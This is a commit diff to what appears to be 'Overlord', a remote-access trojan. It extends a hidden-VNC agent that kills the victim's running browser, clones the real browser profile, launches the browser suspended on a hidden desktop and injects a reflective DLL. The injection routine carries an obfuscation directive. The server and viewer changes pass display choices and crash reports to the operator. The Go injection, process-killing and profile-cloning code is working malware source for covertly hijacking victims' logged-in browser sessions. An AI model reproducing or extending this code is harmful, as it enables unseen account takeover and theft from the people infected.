add more info for when chrome gets killed

Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go

@@ -4,7 +4,7 @@ package capture
 
 import "errors"
 
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
 	return 0, errors.New("HVNC injection not supported on this platform")
 }
 
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
 type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
 type LaunchStatusFunc func(step string, success bool, detail string)
 
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
 	return errors.New("HVNC injection not supported on this platform")
 }
 

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -30,6 +30,7 @@ var (
 	procCreateFileMappingW    = kernel32.NewProc("CreateFileMappingW")
 	procMapViewOfFile         = kernel32.NewProc("MapViewOfFile")
 	procUnmapViewOfFile       = kernel32.NewProc("UnmapViewOfFile")
+	procGetExitCodeProcess    = kernel32.NewProc("GetExitCodeProcess")
 )
 
 var advapi32 = syscall.NewLazyDLL("advapi32.dll")
@@ -66,6 +67,58 @@ const (
 	IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
 )
 
+func describeExitCode(code uint32) string {
+	switch code {
+	case 0:
+		return "normal exit"
+	case 0xC0000005:
+		return "access violation (0xC0000005)"
+	case 0xC0000374:
+		return "heap corruption (0xC0000374)"
+	case 0xC0000409:
+		return "stack buffer overrun (0xC0000409)"
+	case 0xC000001D:
+		return "illegal instruction (0xC000001D)"
+	case 0xC00000FD:
+		return "stack overflow (0xC00000FD)"
+	case 0xC0000096:
+		return "privileged instruction (0xC0000096)"
+	case 0x40010004:
+		return "debugger terminated process"
+	case 0xC000013A:
+		return "process killed by Ctrl+C"
+	case 1:
+		return "general error (exit code 1)"
+	default:
+		return fmt.Sprintf("exit code 0x%X (%d)", code, code)
+	}
+}
+
+func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
+	hProc, _, _ := procOpenProcess.Call(
+		SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
+		0, uintptr(pid),
+	)
+	if hProc == 0 {
+		return
+	}
+	defer procCloseHandle.Call(hProc)
+
+	ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
+	if ret != 0 {
+		return
+	}
+
+	var exitCode uint32
+	procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
+
+	if exitCode == 0 {
+		notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
+	} else {
+		notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
+	}
+}
+
 // enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
 func enableDebugPrivilege() {
 	var hToken uintptr
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
 // StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
 // injects the reflective DLL, then resumes it.
 // searchPath/replacePath are passed as environment variables for the DLL hooks.
-func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
+func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
 	if filePath == "" {
 		return 0, fmt.Errorf("empty file path")
 	}
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
 		captureDllBytes: captureDllBytes,
 		searchPath:      searchPath,
 		replacePath:     replacePath,
+		display:         display,
 	}, 30*time.Second)
 	if err != nil {
 		return 0, err
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
 	return result.pid, result.err
 }
 
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
 	if onDXGIStatus != nil {
 		hvncDXGIStatusCallback.Store(onDXGIStatus)
 	}
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 		}
 		if isProcessRunning(processName) {
 			notify("kill", true, fmt.Sprintf("killing running %s", processName))
-			killProcess(processName)
+			killed := killProcess(processName)
 			time.Sleep(1500 * time.Millisecond)
 			if isProcessRunning(processName) {
-				notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
+				notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
 			} else {
-				notify("kill", true, fmt.Sprintf("%s terminated", processName))
+				notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
 			}
 		} else {
 			notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 
 	if !clone {
 		notify("launch", true, "starting without profile cloning")
-		pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
+		pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
 		if err != nil {
 			notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
 			return err
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 				patchOperaAsync(pid, 5, 2*time.Second)
 			}()
 		}
+		if pid != 0 {
+			go func() {
+				defer recoverAndLog("hvnc crash monitor", nil)
+				monitorProcessCrash(pid, info.name, notify)
+			}()
+		}
 		return nil
 	}
 
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 	}
 
 	notify("launch", true, "starting with cloned profile")
-	pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
+	pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
 	if err != nil {
 		notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
 		return err
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 			patchOperaAsync(pid, 5, 2*time.Second)
 		}()
 	}
+	if pid != 0 {
+		go func() {
+			defer recoverAndLog("hvnc crash monitor", nil)
+			monitorProcessCrash(pid, info.name, notify)
+		}()
+	}
 	return nil
 }
 
 // StartHVNCChromeInjected is kept for backward compatibility.
 func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
-	return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
+	return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
 }
 
 type browserInfo struct {
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
 	return false
 }
 
-func killProcess(name string) {
+func killProcess(name string) []uint32 {
 	snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
 	if snapshot == uintptr(^uintptr(0)) {
-		return
+		return nil
 	}
 	defer procCloseHandle.Call(snapshot)
 
@@ -437,11 +503,12 @@ func killProcess(name string) {
 		ExeFile         [260]uint16
 	}
 
+	var killed []uint32
 	var entry processEntry32
 	entry.Size = uint32(unsafe.Sizeof(entry))
 	ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
 	if ret == 0 {
-		return
+		return nil
 	}
 	target := strings.ToLower(name)
 	for {
@@ -449,9 +516,14 @@ func killProcess(name string) {
 		if strings.ToLower(exeName) == target {
 			hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
 			if hProc != 0 {
-				kernel32.NewProc("TerminateProcess").Call(hProc, 0)
+				r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
 				procCloseHandle.Call(hProc)
-				log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
+				if r != 0 {
+					killed = append(killed, entry.ProcessID)
+					log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
+				} else {
+					log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
+				}
 			}
 		}
 		entry.Size = uint32(unsafe.Sizeof(entry))
@@ -460,6 +532,7 @@ func killProcess(name string) {
 			break
 		}
 	}
+	return killed
 }
 
 func getBrowserUserDataDir(info browserInfo) string {
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
 	return total
 }
 
-func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
+func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	if filePath == "" {
 		return 0, fmt.Errorf("empty file path")
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
 	enableDebugPrivilege()
 
 	// Create the process suspended on the HVNC desktop
-	hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
+	hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
 	if err != nil {
 		procCloseHandle.Call(shmHandle)
 		return 0, fmt.Errorf("failed to create suspended process: %v", err)
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
 	return handle, name, nil
 }
 
-func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
+func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
 	desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
 	if err != nil {
 		return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
 	}
-	args := " --window-position=0,0"
+	posX, posY := 0, 0
+	if mons := monitorList(); display >= 0 && display < len(mons) {
+		posX = mons[display].rect.Min.X
+		posY = mons[display].rect.Min.Y
+	}
+	args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
 	chromiumExes := map[string]bool{
 		"chrome.exe":  true,
 		"brave.exe":   true,
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
 	var pi processInformation
 	si.cb = uint32(unsafe.Sizeof(si))
 	si.lpDesktop = desktopNamePtr
-	si.dwX = 0
-	si.dwY = 0
+	si.dwX = uint32(posX)
+	si.dwY = uint32(posY)
 	si.dwFlags = STARTF_USEPOSITION
 
 	envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)

Overlord-Client/cmd/agent/capture/hvnc_stub.go

@@ -31,7 +31,7 @@ func HVNCMonitorCount() int {
 	return 0
 }
 
-func StartHVNCProcess(filePath string, operaPatch bool) error {
+func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
 	return errors.New("HVNC not supported on this platform")
 }
 

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -490,9 +490,9 @@ func ensureHVNCThread() error {
 				var result hvncTaskResult
 				switch task.kind {
 				case hvncTaskStartProcess:
-					result.pid, result.err = startHVNCProcessOnThread(task.filePath)
+					result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display)
 				case hvncTaskStartProcessInjected:
-					result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
+					result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display)
 				case hvncTaskMouseMove:
 					result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
 				case hvncTaskMouseDown:
@@ -546,13 +546,14 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
 	return result.img, result.err
 }
 
-func StartHVNCProcess(filePath string, operaPatch bool) error {
+func StartHVNCProcess(filePath string, operaPatch bool, display int) error {
 	if filePath == "" {
 		return fmt.Errorf("empty file path")
 	}
 	result, err := executeHVNCTask(hvncTask{
 		kind:     hvncTaskStartProcess,
 		filePath: strings.TrimSpace(filePath),
+		display:  display,
 	}, 10*time.Second)
 	if err != nil {
 		return err
@@ -917,7 +918,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 	return img, nil
 }
 
-func startHVNCProcessOnThread(filePath string) (uint32, error) {
+func startHVNCProcessOnThread(filePath string, display int) (uint32, error) {
 	if filePath == "" {
 		return 0, fmt.Errorf("empty file path")
 	}
@@ -930,12 +931,17 @@ func startHVNCProcessOnThread(filePath string) (uint32, error) {
 	if err != nil {
 		return 0, fmt.Errorf("failed to convert command line: %v", err)
 	}
+	posX, posY := 0, 0
+	if mons := monitorList(); display >= 0 && display < len(mons) {
+		posX = mons[display].rect.Min.X
+		posY = mons[display].rect.Min.Y
+	}
 	var si startupInfo
 	var pi processInformation
 	si.cb = uint32(unsafe.Sizeof(si))
 	si.lpDesktop = desktopNamePtr
-	si.dwX = 0
-	si.dwY = 0
+	si.dwX = uint32(posX)
+	si.dwY = uint32(posY)
 	si.dwFlags = STARTF_USEPOSITION
 
 	ret, _, callErr := procCreateProcessW.Call(
@@ -971,7 +977,7 @@ func hvncAutoStartExplorerOnThread() error {
 	}
 
 	log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
-	_, err := startHVNCProcessOnThread("explorer.exe")
+	_, err := startHVNCProcessOnThread("explorer.exe", 0)
 	if err != nil {
 		return fmt.Errorf("auto-start explorer failed: %w", err)
 	}

Overlord-Client/cmd/agent/handlers/command.go

@@ -1499,6 +1499,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		filePath := ""
 		killExe := ""
 		operaPatch := false
+		display := 0
 		if payload != nil {
 			if v, ok := payload["path"].(string); ok {
 				filePath = v
@@ -1509,8 +1510,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["opera_patch"].(bool); ok {
 				operaPatch = v
 			}
+			if v, ok := payload["display"].(float64); ok {
+				display = int(v)
+			}
 		}
-		log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
+		log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_process", nil, func() {
 			sendLaunchStatus := func(step string, success bool, detail string) {
@@ -1531,7 +1535,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 				}
 			}
 			sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
-			if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
+			if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
 				log.Printf("hvnc: start process failed for %q: %v", filePath, err)
 				sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
 			} else {
@@ -1635,6 +1639,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		filePath := ""
 		searchPath := ""
 		replacePath := ""
+		display := 0
 		if payload != nil {
 			if v, ok := payload["path"].(string); ok {
 				filePath = v
@@ -1645,6 +1650,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["replace_path"].(string); ok {
 				replacePath = v
 			}
+			if v, ok := payload["display"].(float64); ok {
+				display = int(v)
+			}
 		}
 		dllBytes := extractDLLBytes(payload)
 		if len(dllBytes) == 0 {
@@ -1652,10 +1660,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			return nil
 		}
 		captureDllBytes := extractCaptureDLLBytes(payload)
-		log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
+		log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_process_injected", nil, func() {
-			if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
+			if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
 				log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
 			}
 		})
@@ -1691,6 +1699,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		clone := true
 		cloneLite := false
 		killIfRunning := false
+		display := 0
 		if payload != nil {
 			if v, ok := payload["browser"].(string); ok {
 				browser = v
@@ -1707,6 +1716,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["killIfRunning"].(bool); ok {
 				killIfRunning = v
 			}
+			if v, ok := payload["display"].(float64); ok {
+				display = int(v)
+			}
 		}
 		dllBytes := extractDLLBytes(payload)
 		if len(dllBytes) == 0 {
@@ -1717,7 +1729,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			sendCommandResultSafe(env, cmdID, false, "no browser specified")
 			return nil
 		}
-		log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
+		log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
 		captureDllBytes := extractCaptureDLLBytes(payload)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_browser_injected", nil, func() {
@@ -1751,7 +1763,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 					Detail:  detail,
 				})
 			}
-			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
+			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
 				log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
 			}
 		})

Overlord-Server/public/assets/hvnc.js

@@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     const step = msg.step || "";
     const detail = msg.detail || "";
 
-    if (!msg.success) {
+    if (step === "crashed" || step === "exited") {
+      launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400";
+      launchStatusLabel.textContent = `${browser}: ${detail}`;
+      launchStatusLabel.className = "text-rose-300";
+      launchHideTimer = setTimeout(() => {
+        launchStatusEl.classList.add("hidden");
+        launchStatusEl.classList.remove("flex");
+      }, 20000);
+    } else if (!msg.success) {
       launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
       launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
       launchStatusLabel.className = "text-rose-300";
@@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         launchStatusEl.classList.add("hidden");
         launchStatusEl.classList.remove("flex");
       }, 8000);
+    } else if (step === "kill") {
+      launchStatusIcon.className = "fa-solid fa-hand text-amber-400";
+      launchStatusLabel.textContent = `${browser}: ${detail}`;
+      launchStatusLabel.className = "text-amber-300";
     } else {
       launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
       launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
@@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     }
   }
 
+  function handleHVNCError(msg) {
+    const errorText = msg.error || msg.message || "Unknown HVNC error";
+    console.error("hvnc: server error:", errorText);
+    if (!launchStatusEl) return;
+    if (launchHideTimer) {
+      clearTimeout(launchHideTimer);
+      launchHideTimer = null;
+    }
+    launchStatusEl.classList.remove("hidden");
+    launchStatusEl.classList.add("flex");
+    if (msg.critical) {
+      launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse";
+      launchStatusLabel.textContent = errorText;
+      launchStatusLabel.className = "text-red-400 font-bold";
+      launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20";
+      launchHideTimer = setTimeout(() => {
+        launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm";
+      }, 30000);
+    } else {
+      launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400";
+      launchStatusLabel.textContent = errorText;
+      launchStatusLabel.className = "text-rose-300";
+      launchHideTimer = setTimeout(() => {
+        launchStatusEl.classList.add("hidden");
+        launchStatusEl.classList.remove("flex");
+      }, 15000);
+    }
+  }
+
   function handleBrowserCheckResult(msg) {
     if (!msg.browsers || !contextMenu) return;
     contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
@@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         return;
       }
       if (msg && msg.type === "hvnc_error") {
-        console.error("hvnc: server error:", msg.error || msg.message);
+        handleHVNCError(msg);
         return;
       }
       if (msg && msg.type === "clipboard_content") {

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
         path: String(payload.path || ""),
         kill_exe: String(payload.kill_exe || ""),
         opera_patch: Boolean(payload.opera_patch),
+        display: state.display ?? 0,
       });
       break;
     case "hvnc_kill_all":
@@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
-        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
+        safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
         break;
       }
       const captureDll = getCaptureDllBytes();
@@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
         search_path: String(payload.search_path || ""),
         replace_path: String(payload.replace_path || ""),
         dll: dllData,
+        display: state.display ?? 0,
       };
       if (captureDll) cmdPayload.capture_dll = captureDll;
       sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
@@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
-        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
+        safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
         break;
       }
       const captureDllChrome = getCaptureDllBytes();
       const chromeCmdPayload: Record<string, any> = {
         path: String(payload.path || ""),
         dll: dllData,
+        display: state.display ?? 0,
       };
       if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
       sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
@@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
-        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
+        safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
         break;
       }
       const captureDllBrowser = getCaptureDllBytes();
@@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
         cloneLite: payload.cloneLite === true,
         killIfRunning: payload.killIfRunning === true,
         dll: dllData,
+        display: state.display ?? 0,
       };
       if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
       sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);